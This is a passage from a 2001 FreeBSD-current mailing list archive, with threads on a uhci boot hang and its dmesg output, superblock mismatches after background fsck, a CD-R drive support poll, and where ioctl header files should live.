two failures are the same uhci problem, or just the usual -current breakage we all know and love. Is anybody else seeing this problem? I'm appending the dmesg output from my custom kernel. John Copyright (c) 1992-2001 The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD 5.0-CURRENT #2: Sat May 5 15:14:23 PDT 2001 jdp@blake.polstra.com:/a/src/sys/compile/BLAKE Timecounter "i8254" frequency 1193157 Hz Timecounter "TSC" frequency 400900695 Hz CPU: Pentium II/Pentium II Xeon/Celeron (400.90-MHz 686-class CPU) Origin = "GenuineIntel" Id = 0x653 Stepping = 3 Features=0x183f9ff real memory = 134205440 (131060K bytes) avail memory = 126742528 (123772K bytes) Preloaded elf kernel "kernel" at 0xc03c6000. Pentium Pro MTRR support enabled Using $PIR table, 7 entries at 0xc00f0d10 npx0: on motherboard npx0: INT 16 interface pcib0: at pcibus 0 on motherboard pci0: on pcib0 pcib1: at device 1.0 on pci0 pci1: on pcib1 pci1: at 0.0 (no driver attached) isab0: at device 4.0 on pci0 isa0: on isab0 pci0: at 4.1 (no driver attached) pci0: at 4.2 (no driver attached) intpm0: port 0xe800-0xe80f irq 9 at device 4.3 on pci0 intpm0: I/O mapped e800 intpm0: intr IRQ 9 enabled revision 0 smbus0: on intsmb0 smb0: on smbus0 intpm0: PM I/O mapped e400 ahc0: port 0xd000-0xd0ff mem 0xe0000000-0xe0000fff irq 5 at device 6.0 on pci0 aic7890/91: Wide Channel A, SCSI Id=7, 32/255 SCBs fxp0: port 0xb800-0xb83f mem 0xdf000000-0xdf0fffff,0xdf800000-0xdf800fff irq 10 at device 10. 0 on pci0 fxp0: Ethernet address 00:90:27:a6:6e:ca inphy0: on miibus0 inphy0: 10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto atkbdc0: at port 0x60,0x64 on isa0 atkbd0: flags 0x1 irq 1 on atkbdc0 psm0: irq 12 on atkbdc0 psm0: model Generic PS/2 mouse, device ID 0 fdc0: at port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on isa0 fdc0: FIFO enabled, 8 bytes threshold fd0: <1440-KB 3.5" drive> on fdc0 drive 0 sc0: at flags 0x100 on isa0 sc0: VGA <16 virtual consoles, flags=0x300> sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0 sio0: type 16550A sio1 at port 0x2f8-0x2ff irq 3 on isa0 sio1: type 16550A vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 unknown: can't assign resources unknown: can't assign resources unknown: can't assign resources unknown: can't assign resources unknown: can't assign resources IPsec: Initialized Security Association Processing. Waiting 2 seconds for SCSI devices to settle Mounting root from ufs:/dev/da0s1a cd0 at ahc0 bus 0 target 5 lun 0 cd0: Removable CD-ROM SCSI-2 device cd0: 10.000MB/s transfers (10.000MHz, offset 16) cd0: Attempt to query device size failed: NOT READY, Medium not present da0 at ahc0 bus 0 target 0 lun 0 da0: Fixed Direct Access SCSI-3 device da0: 40.000MB/s transfers (20.000MHz, offset 31, 16bit), Tagged Queueing Enabled da0: 8748MB (17916240 512 byte sectors: 255H 63S/T 1115C) da1 at ahc0 bus 0 target 1 lun 0 da1: Fixed Direct Access SCSI-2 device da1: 40.000MB/s transfers (20.000MHz, offset 15, 16bit), Tagged Queueing Enabled da1: 4357MB (8925000 512 byte sectors: 255H 63S/T 555C) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu May 17 20: 6:35 2001 Delivered-To: freebsd-current@freebsd.org Received: from harmony.village.org (rover.bsdimp.com [204.144.255.66]) by hub.freebsd.org (Postfix) with ESMTP id 1C89737B423; Thu, 17 May 2001 20:06:32 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.11.3/8.11.1) with ESMTP id f4I36NE07512; Thu, 17 May 2001 21:06:24 -0600 (MDT) (envelope-from imp@harmony.village.org) Message-Id: <200105180306.f4I36NE07512@harmony.village.org> To: Szilveszter Adam Subject: Re: cvs commit: src Makefile.inc1 Cc: cvs-all@FreeBSD.ORG, current@FreeBSD.ORG In-reply-to: Your message of "Wed, 16 May 2001 11:17:40 +0200." <20010516111740.B2510@petra.hos.u-szeged.hu> References: <20010516111740.B2510@petra.hos.u-szeged.hu> <20010515181042.A67205@sunbay.com> Date: Thu, 17 May 2001 21:06:23 -0600 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: X-Loop: FreeBSD.ORG In message <20010516111740.B2510@petra.hos.u-szeged.hu> Szilveszter Adam writes: : I think that cross-platform means compilation between i386 and alpha (and : possibly others) not different OS's:-) (Although admittedly you can build : Debian CDs on FreeBSD with linux emulation way better than you can build : say a -STABLE release on a -CURRENT box... ) Cross platform means "any system that isn't the one that's installed" which is usually the case when you are building the world. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu May 17 20:30:25 2001 Delivered-To: freebsd-current@freebsd.org Received: from smtp-2.enteract.com (smtp-2.enteract.com [207.229.143.4]) by hub.freebsd.org (Postfix) with ESMTP id E61D837B424; Thu, 17 May 2001 20:30:12 -0700 (PDT) (envelope-from dscheidt@tumbolia.com) Received: from shell-2.enteract.com (shell-2.enteract.com [207.229.143.41]) by smtp-2.enteract.com (Postfix) with ESMTP id 51FDD6486; Thu, 17 May 2001 22:30:03 -0500 (CDT) Date: Thu, 17 May 2001 22:30:03 -0500 (CDT) From: David Scheidt X-X-Sender: To: David Wolfskill Cc: , , Subject: Re: background fsck In-Reply-To: <200105172206.f4HM6Bk85261@bunrab.catwhisker.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: X-Loop: FreeBSD.ORG On Thu, 17 May 2001, David Wolfskill wrote: :>From: John Baldwin : :>Hmm, that's odd, I did have soft updates on on /usr and /var before the crash. :>It seems to be off now. :( : :That also happened to me. I thought it odd at the time, but forgot to :mention it.... At least I have some reason to believe I was unlikely to :have been hallucinating about that.... Does tunefs update the alternate superblocks when it enables soft updates? It doesn't look it does, but I might be missing something. -- dscheidt@tumbolia.com Bipedalism is only a fad. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu May 17 21: 4:43 2001 Delivered-To: freebsd-current@freebsd.org Received: from harmony.village.org (rover.bsdimp.com [204.144.255.66]) by hub.freebsd.org (Postfix) with ESMTP id 1C51F37B422 for ; Thu, 17 May 2001 21:04:41 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.11.3/8.11.1) with ESMTP id f4I44bE07665; Thu, 17 May 2001 22:04:37 -0600 (MDT) (envelope-from imp@harmony.village.org) Message-Id: <200105180404.f4I44bE07665@harmony.village.org> To: John Polstra Subject: Re: GENERIC kernel hangs at boot (uhci-related) Cc: current@FreeBSD.ORG In-reply-to: Your message of "Thu, 17 May 2001 19:53:46 PDT." References: Date: Thu, 17 May 2001 22:04:37 -0600 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: X-Loop: FreeBSD.ORG In message John Polstra writes: : When booting GENERIC, the kernel probes most (all?) of the devices and : gets to the point where it says, "Waiting 15 seconds for SCSI devices : to settle." At that point it hangs solid. Keystrokes aren't echoed; : scroll-lock doesn't work; CTRL-ALT-ESC does nothing. Hmmm. Do you have the ability to generate a NMI? Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu May 17 22:32: 1 2001 Delivered-To: freebsd-current@freebsd.org Received: from bunrab.catwhisker.org (adsl-63-193-123-122.dsl.snfc21.pacbell.net [63.193.123.122]) by hub.freebsd.org (Postfix) with ESMTP id A95DE37B423; Thu, 17 May 2001 22:31:59 -0700 (PDT) (envelope-from david@catwhisker.org) Received: (from david@localhost) by bunrab.catwhisker.org (8.10.0/8.10.0) id f4I5VoI86453; Thu, 17 May 2001 22:31:50 -0700 (PDT) Date: Thu, 17 May 2001 22:31:50 -0700 (PDT) From: David Wolfskill Message-Id: <200105180531.f4I5VoI86453@bunrab.catwhisker.org> To: david@catwhisker.org, dscheidt@tumbolia.com Subject: Re: background fsck Cc: current@FreeBSD.ORG, jhb@FreeBSD.ORG, mckusick@FreeBSD.ORG In-Reply-To: Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: X-Loop: FreeBSD.ORG >Date: Thu, 17 May 2001 22:30:03 -0500 (CDT) >From: David Scheidt >Does tunefs update the alternate superblocks when it enables soft updates? >It doesn't look it does, but I might be missing something. I could easily have overlooked something myself, but it doesn't appear to do so to me. (I see it does want the file system clean when soft updates is enabled, but doesn't check for that for a disable request.) Cheers, david -- David H. Wolfskill david@catwhisker.org As a computing professional, I believe it would be unethical for me to advise, recommend, or support the use (save possibly for personal amusement) of any product that is or depends on any Microsoft product. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu May 17 22:57: 5 2001 Delivered-To: freebsd-current@freebsd.org Received: from smtp-2.enteract.com (smtp-2.enteract.com [207.229.143.4]) by hub.freebsd.org (Postfix) with ESMTP id 5234037B422 for ; Thu, 17 May 2001 22:56:59 -0700 (PDT) (envelope-from dscheidt@tumbolia.com) Received: from shell-2.enteract.com (shell-2.enteract.com [207.229.143.41]) by smtp-2.enteract.com (Postfix) with ESMTP id D55FE6570; Fri, 18 May 2001 00:56:53 -0500 (CDT) Date: Fri, 18 May 2001 00:56:53 -0500 (CDT) From: David Scheidt X-X-Sender: To: David Wolfskill Cc: Subject: Re: background fsck In-Reply-To: <200105180531.f4I5VoI86453@bunrab.catwhisker.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: X-Loop: FreeBSD.ORG On Thu, 17 May 2001, David Wolfskill wrote: :(I see it does want the file system clean when soft updates is enabled, :but doesn't check for that for a disable request.) : Right. fsck(8) can make assumptions about the state of the filesystem if it knows that softupdates were in use. (There's a smaller set of possible inconsistancies, but I don't remember what they are.) It's safe for fsck to assume that the filesystem could be in worse shape than it actually is, but not safe to assume it's cleaner. David -- dscheidt@tumbolia.com Bipedalism is only a fad. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu May 17 23:52:45 2001 Delivered-To: freebsd-current@freebsd.org Received: from magnesium.net (toxic.magnesium.net [207.154.84.15]) by hub.freebsd.org (Postfix) with SMTP id DBF8337B423 for ; Thu, 17 May 2001 23:52:43 -0700 (PDT) (envelope-from jasone@magnesium.net) Received: (qmail 92050 invoked by uid 1142); 18 May 2001 06:53:51 -0000 Date: 17 May 2001 23:53:51 -0700 Date: Thu, 17 May 2001 23:52:39 -0700 From: Jason Evans To: John Baldwin Cc: current@FreeBSD.org, mckusick@FreeBSD.org Subject: Re: background fsck Message-ID: <20010517235239.J44956@canonware.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from jhb@FreeBSD.org on Thu, May 17, 2001 at 02:31:55PM -0700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: X-Loop: FreeBSD.ORG I had exactly the same thing happen to /var on an SMP test box using -current as of 16 May. It happened once out of about a half dozen panics. Jason To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri May 18 1:54:30 2001 Delivered-To: freebsd-current@freebsd.org Received: from Awfulhak.org (awfulhak.demon.co.uk [194.222.196.252]) by hub.freebsd.org (Postfix) with ESMTP id 90F3D37B423; Fri, 18 May 2001 01:54:23 -0700 (PDT) (envelope-from brian@Awfulhak.org) Received: from hak.lan.Awfulhak.org (root@hak.lan.Awfulhak.org [172.16.0.12]) by Awfulhak.org (8.11.3/8.11.3) with ESMTP id f4I8sLP10378; Fri, 18 May 2001 09:54:21 +0100 (BST) (envelope-from brian@lan.Awfulhak.org) Received: from hak.lan.Awfulhak.org (brian@localhost [127.0.0.1]) by hak.lan.Awfulhak.org (8.11.3/8.11.3) with ESMTP id f4I8sKb92664; Fri, 18 May 2001 09:54:20 +0100 (BST) (envelope-from brian@hak.lan.Awfulhak.org) Message-Id: <200105180854.f4I8sKb92664@hak.lan.Awfulhak.org> X-Mailer: exmh version 2.3.1 01/18/2001 with nmh-1.0.4 To: John Baldwin Cc: current@FreeBSD.ORG, mckusick@FreeBSD.ORG, brian@Awfulhak.org Subject: Re: background fsck In-Reply-To: Message from John Baldwin of "Thu, 17 May 2001 14:31:55 PDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 18 May 2001 09:54:20 +0100 From: Brian Somers Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: X-Loop: FreeBSD.ORG This happens to me ``almost all the time'' on my dev box: Filesystem 1K-blocks Used Avail Capacity Mounted on /dev/ad0s1a 254063 82600 151138 35% / devfs 1 1 0 100% /dev procfs 4 4 0 100% /proc /dev/ad0s1e 254063 7 233731 0% /tmp /dev/ad1s2a 496239 26424 430116 6% /var /dev/ad1s2e 4466254 1448160 2660794 35% /usr /dev/ad0s1f 775487 392540 320909 55% /usr/obj /dev/ad1s1a 10145116 5631076 3702432 60% /usr/ports/distfiles /dev/ad1s1e 10145116 4957632 4375876 53% /usr/audio /dev/ad1s1g 4963030 3621790 944198 79% /usr/packages /dev/ad1s1f 10145116 4790396 4543112 51% /cvs /dev/ad1s2f 33059676 1 30414901 0% /spare1 The interesting thing is that it always happens on /usr and /cvs and no other partitions. Both of these partitions have large directory hierarchies.... Also, FWIW it now takes nearly 30 minutes to fsck my laptop's disk (20Gb 5400rpm). That's not good.... > Has anyone else been trying out the background fsck? Last night I was working > on the ithread code some and managed to panic my laptop while ejecting a pccard. > Anyways, the kernel ate itself while trying to flush its buffers and I ended up > with a dirty filesystem. I rebooted and let fsck -p do its usual thing, except > that it freaked out. The actual fsck of / proceeded fine (actual fs activity > when I panic'd my machine was very low, so the filesystems weren't corrupted, > just marked dirty). When it got to /usr and /var, however, fsck freaked out > and claimed that the primary superblock didn't match the first alternate. At > this point I first had a heart attack. Once I recovered from that, I attempted > read-only mounts of /usr and /var which did succeed, except that each mount > spewed out a message to the kernel console about losing x files and y blocks. > Confident that my fs wasn't totally hosed after doing some ls's, I unmounted > /usr and /var and ran a non-preen fsck on them, which insisted on using an > alternate superblock, but otherwise proceeded fine (except that it seemed to > take longer than usual). Once the fscks's finished, it seemed to be all ok. > Is anyone else seeing any weird stuff like this? I've never had fsck complain > about the superblocks after a crash before. > > > df -t ufs > Filesystem 1K-blocks Used Avail Capacity Mounted on > /dev/ad0s2a 148823 84717 52201 62% / > /dev/ad0s2f 10191770 7052563 2323866 75% /usr > /dev/ad0s2e 99183 14254 76995 16% /var > > mount -t ufs > /dev/ad0s2a on / (ufs, local) > /dev/ad0s2f on /usr (ufs, local) > /dev/ad0s2e on /var (ufs, local) > > grep ufs /etc/fstab > /dev/ad0s2a / ufs rw 1 1 > /dev/ad0s2f /usr ufs rw 2 2 > /dev/ad0s2e /var ufs rw 2 2 > > Hmm, that's odd, I did have soft updates on on /usr and /var before the crash. > It seems to be off now. :( > > -- > > John Baldwin -- http://www.FreeBSD.org/~jhb/ > PGP Key: http://www.baldwin.cx/~john/pgpkey.asc > "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ -- Brian Don't _EVER_ lose your sense of humour ! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri May 18 3:27: 5 2001 Delivered-To: freebsd-current@freebsd.org Received: from freebsd.dk (fw-rl0.freebsd.dk [212.242.86.114]) by hub.freebsd.org (Postfix) with ESMTP id 86DB337B424; Fri, 18 May 2001 03:27:00 -0700 (PDT) (envelope-from sos@freebsd.dk) Received: (from sos@localhost) by freebsd.dk (8.11.3/8.11.3) id f4IAQxx47357; Fri, 18 May 2001 12:26:59 +0200 (CEST) (envelope-from sos) From: S�ren Schmidt Message-Id: <200105181026.f4IAQxx47357@freebsd.dk> Subject: Request for CDR/CDRW drives working status To: hackers@freebsd.org, current@freebsd.org Date: Fri, 18 May 2001 12:26:53 +0200 (CEST) X-Mailer: ELM [version 2.4ME+ PL88 (25)] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=ISO-8859-1 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: X-Loop: FreeBSD.ORG I've decided to do a quick poll on which CDR/CDRW drives people have that either work or doesn't work. I'll collect all the info and make a web page that will show which drives are supported, and which are not, and hopefully this will help me find a solution that works for all. Please send a message to sos@freebsd.dk with [CDR INFO] in the subject, stating: Drive model/version (from dmesg and possibly from the label on the drive). Does it work with burncd ? If it fails, please add the error messages from the kernel from a failed burn so I have something to go by. Does it work with PIO and/or DMA ? Thanks! -S�ren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri May 18 3:40:45 2001 Delivered-To: freebsd-current@freebsd.org Received: from finch-post-12.mail.demon.net (finch-post-12.mail.demon.net [194.217.242.41]) by hub.freebsd.org (Postfix) with ESMTP id 1D0FA37B423; Fri, 18 May 2001 03:40:32 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from [62.49.251.130] (helo=herring.nlsystems.com) by finch-post-12.mail.demon.net with esmtp (Exim 2.12 #1) id 150hgM-000AZE-0C; Fri, 18 May 2001 10:40:30 +0000 Received: from herring (herring [10.0.0.2]) by herring.nlsystems.com (8.11.2/8.11.2) with ESMTP id f4IAdE727211; Fri, 18 May 2001 11:39:14 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Fri, 18 May 2001 11:39:14 +0100 (BST) From: Doug Rabson To: Warner Losh Cc: Brian Somers , Bruce Evans , , , Subject: Re: Where to put include files (was: cvs commit: src Makefile.inc1) In-Reply-To: <200105171600.f4HG0Pl05438@billy-club.village.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: X-Loop: FreeBSD.ORG On Thu, 17 May 2001, Warner Losh wrote: > In message <200105171233.f4HCXhb62786@hak.lan.Awfulhak.org> Brian > Somers writes: > : Solaris calls it's ioctl files /usr/include/sys/_io.h so I'd > : spell digiio.h /usr/include/sys/digi_io.h. > > Actually, the more I think about it, the more I like putting it in > /usr/include/sys/fooio.h. We have lots of other files there now. The > down side to this approach is that it breaks up the driver sources > that we've been trying to concentrate into sys/dev/foo/* (or > introduces asymetry such that you can't just toss in a -I/sys and have > the same tree that gets stuck under /usr/include). I quite like the fact that the programming interface is separated from the driver implementation. There is less chance that the driver writer will expose irrelavent implementation details in the API, which in turn makes for a more stable ABI. -- Doug Rabson Mail: dfr@nlsystems.com Phone: +44 20 8348 6160 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri May 18 3:48:37 2001 Delivered-To: freebsd-current@freebsd.org Received: from Awfulhak.org (awfulhak.demon.co.uk [194.222.196.252]) by hub.freebsd.org (Postfix) with ESMTP id 9AD8737B422; Fri, 18 May 2001 03:48:29 -0700 (PDT) (envelope-from brian@Awfulhak.org) Received: from hak.lan.Awfulhak.org (root@hak.lan.Awfulhak.org [172.16.0.12]) by Awfulhak.org (8.11.3/8.11.3) with ESMTP id f4IAmRP66713; Fri, 18 May 2001 11:48:27 +0100 (BST) (envelope-from brian@lan.Awfulhak.org) Received: from hak.lan.Awfulhak.org (brian@localhost [127.0.0.1]) by hak.lan.Awfulhak.org (8.11.3/8.11.3) with ESMTP id f4IAmQb94138; Fri, 18 May 2001 11:48:26 +0100 (BST) (envelope-from brian@hak.lan.Awfulhak.org) Message-Id: <200105181048.f4IAmQb94138@hak.lan.Awfulhak.org> X-Mailer: exmh version 2.3.1 01/18/2001 with nmh-1.0.4 To: Doug Rabson Cc: Warner Losh , Brian Somers , Bruce Evans , cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org, current@FreeBSD.org, brian@Awfulhak.org Subject: Re: Where to put include files (was: cvs commit: src Makefile.inc1) In-Reply-To: Message from Doug Rabson of "Fri, 18 May 2001 11:39:14 BST." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 18 May 2001 11:48:26 +0100 From: Brian Somers Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: X-Loop: FreeBSD.ORG > On Thu, 17 May 2001, Warner Losh wrote: > > > In message <200105171233.f4HCXhb62786@hak.lan.Awfulhak.org> Brian > > Somers writes: > > : Solaris calls it's ioctl files /usr/include/sys/_io.h so I'd > > : spell digiio.h /usr/include/sys/digi_io.h. > > > > Actually, the more I think about it, the more I like putting it in > > /usr/include/sys/fooio.h. We have lots of other files there now. The > > down side to this approach is that it breaks up the driver sources > > that we've been trying to concentrate into sys/dev/foo/* (or > > introduces asymetry such that you can't just toss in a -I/sys and have > > the same tree that gets stuck under /usr/include). > > I quite like the fact that the programming interface is > separated from the driver implementation. There is less chance that the > driver writer will expose irrelavent implementation details in the API, > which in turn makes for a more stable ABI. I agree, and what's more, bde hasn't disagreed to any such suggestions.... > -- > Doug Rabson Mail: dfr@nlsystems.com > Phone: +44 20 8348 6160 -- Brian Don't _EVER_ lose your sense of humour ! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri May 18 5:28:46 2001 Delivered-To: freebsd-current@freebsd.org Received: from ajax1.sovam.com (ajax1.sovam.com [194.67.1.172]) by hub.freebsd.org (Postfix) with ESMTP id 2BAE737B423; Fri, 18 May 2001 05:28:43 -0700 (PDT) (envelope-from avn@any.ru) Received: from ts9-a329.dial.sovam.com ([195.239.71.73]:1365 "EHLO srv2.any" ident: "TIMEDOUT" whoson: "-unregistered-" smtp-auth: TLS-CIPHER: "EDH-RSA-DES-CBC3-SHA keybits 192/192 version TLSv1/SSLv3" TLS-PEER: ) by ajax1.sovam.com with ESMTP id ; Fri, 18 May 2001 16:28:34 +0400 Received: from localhost (avn@localhost) by srv2.any (8.11.3/8.11.3) with ESMTP id f4ICMrl12843; Fri, 18 May 2001 16:22:53 +0400 (MSD) (envelope-from avn@any.ru) Date: Fri, 18 May 2001 16:22:53 +0400 (MSD) From: "Alexey V. Neyman" X-X-Sender: To: =?koi8-r?Q?S=F8ren_Schmidt?= Cc: , Subject: Re: Request for CDR/CDRW drives working status In-Reply-To: <200105181026.f4IAQxx47357@freebsd.dk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: X-Loop: FreeBSD.ORG Hello, Soren! >Drive model/version (from dmesg and possibly from the label on the drive). I've sent you info about acd0: CD-RW drive (PR: 25840), I think it was complete enogh for poll? :) Best regards, Alexey. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri May 18 5:35:39 2001 Delivered-To: freebsd-current@freebsd.org Received: from mailman.zeta.org.au (mailman.zeta.org.au [203.26.10.16]) by hub.freebsd.org (Postfix) with ESMTP id 7C3B737B423; Fri, 18 May 2001 05:35:32 -0700 (PDT) (envelope-from bde@zeta.org.au) Received: from bde.zeta.org.au (bde.zeta.org.au [203.2.228.102]) by mailman.zeta.org.au (8.9.3/8.8.7) with ESMTP id WAA02364; Fri, 18 May 2001 22:35:08 +1000 Date: Fri, 18 May 2001 22:33:43 +1000 (EST) From: Bruce Evans X-Sender: bde@besplex.bde.org To: Brian Somers Cc: Doug Rabson , Warner Losh , cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org, current@FreeBSD.org Subject: Re: Where to put include files (was: cvs commit: src Makefile.inc1) In-Reply-To: <200105181048.f4IAmQb94138@hak.lan.Awfulhak.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: X-Loop: FreeBSD.ORG On Fri, 18 May 2001, Brian Somers wrote: > > On Thu, 17 May 2001, Warner Losh wrote: > > I quite like the fact that the programming interface is > > separated from the driver implementation. There is less chance that the > > driver writer will expose irrelavent implementation details in the API, > > which in turn makes for a more stable ABI. > > I agree, and what's more, bde hasn't disagreed to any such > suggestions.... I agree too :-). Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri May 18 5:48:25 2001 Delivered-To: freebsd-current@freebsd.org Received: from Awfulhak.org (awfulhak.demon.co.uk [194.222.196.252]) by hub.freebsd.org (Postfix) with ESMTP id 2756A37B424; Fri, 18 May 2001 05:48:17 -0700 (PDT) (envelope-from brian@Awfulhak.org) Received: from hak.lan.Awfulhak.org (root@hak.lan.Awfulhak.org [172.16.0.12]) by Awfulhak.org (8.11.3/8.11.3) with ESMTP id f4ICmEM00657; Fri, 18 May 2001 13:48:14 +0100 (BST) (envelope-from brian@lan.Awfulhak.org) Received: from hak.lan.Awfulhak.org (brian@localhost [127.0.0.1]) by hak.lan.Awfulhak.org (8.11.3/8.11.3) with ESMTP id f4ICmDb95301; Fri, 18 May 2001 13:48:13 +0100 (BST) (envelope-from brian@hak.lan.Awfulhak.org) Message-Id: <200105181248.f4ICmDb95301@hak.lan.Awfulhak.org> X-Mailer: exmh version 2.3.1 01/18/2001 with nmh-1.0.4 To: cvs@FreeBSD.org Cc: Bruce Evans , Doug Rabson , Warner Losh , cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org, current@FreeBSD.org Subject: Re: Where to put include files (was: cvs commit: src Makefile.inc1) In-Reply-To: Message from Bruce Evans of "Fri, 18 May 2001 22:33:43 +1000." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 18 May 2001 13:48:13 +0100 From: Brian Somers Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: X-Loop: FreeBSD.ORG John/peter, could you repo-copy src/sys/dev/digi/digiio.h to src/sys/sys/digiio.h ? Ta. > On Fri, 18 May 2001, Brian Somers wrote: > > > > On Thu, 17 May 2001, Warner Losh wrote: > > > I quite like the fact that the programming interface is > > > separated from the driver implementation. There is less chance that the > > > driver writer will expose irrelavent implementation details in the API, > > > which in turn makes for a more stable ABI. > > > > I agree, and what's more, bde hasn't disagreed to any such > > suggestions.... > > I agree too :-). > > Bruce -- Brian Don't _EVER_ lose your sense of humour ! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri May 18 6:44:43 2001 Delivered-To: freebsd-current@freebsd.org Received: from whale.sunbay.crimea.ua (whale.sunbay.crimea.ua [212.110.138.65]) by hub.freebsd.org (Postfix) with ESMTP id 57B1337B42C; Fri, 18 May 2001 06:44:26 -0700 (PDT) (envelope-from ru@whale.sunbay.crimea.ua) Received: (from ru@localhost) by whale.sunbay.crimea.ua (8.11.2/8.11.2) id f4IDhsk82931; Fri, 18 May 2001 16:43:54 +0300 (EEST) (envelope-from ru) Date: Fri, 18 May 2001 16:43:54 +0300 From: Ruslan Ermilov To: Bruce Evans Cc: Warner Losh , Maxim Sobolev , cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org, current@FreeBSD.org Subject: Re: cvs commit: src Makefile.inc1 Message-ID: <20010518164354.A81893@sunbay.com> Mail-Followup-To: Bruce Evans , Warner Losh , Maxim Sobolev , cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org, current@FreeBSD.org References: <200105160751.f4G7pqN77048@harmony.village.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from bde@zeta.org.au on Thu, May 17, 2001 at 12:51:59AM +1000 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thu, May 17, 2001 at 12:51:59AM +1000, Bruce Evans wrote: > On Wed, 16 May 2001, Warner Losh wrote: > > > In message <20010516101947.B23288@sunbay.com> Ruslan Ermilov writes: > > : FWIW, my gross hack to usr.sbin/kbdcontrol also worked: > > > > I tend to dislike adding ../../sys to the includes list since they > > might not be compatible with the host's sys files used to build libc. > > I'd like to remove all the existing ones. They are a hack to handle > the case where you haven't bootstrapped properly. They intentionally > give includes which may be incompatible with the host ones, in > case the host ones are out of date relative to the src tree. This > depends on only a few headers like being out of date, > and sometimes helps mainly for headers like which declare > system structures that are groped in by userland. But it is just a > bug in general. > I've done the first step in that direction. :-) -- Ruslan Ermilov Oracle Developer/DBA, ru@sunbay.com Sunbay Software AG, ru@FreeBSD.org FreeBSD committer, +380.652.512.251 Simferopol, Ukraine http://www.FreeBSD.org The Power To Serve http://www.oracle.com Enabling The Information Age To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri May 18 7:12:29 2001 Delivered-To: freebsd-current@freebsd.org Received: from whale.sunbay.crimea.ua (whale.sunbay.crimea.ua [212.110.138.65]) by hub.freebsd.org (Postfix) with ESMTP id DE7CA37B423; Fri, 18 May 2001 07:12:08 -0700 (PDT) 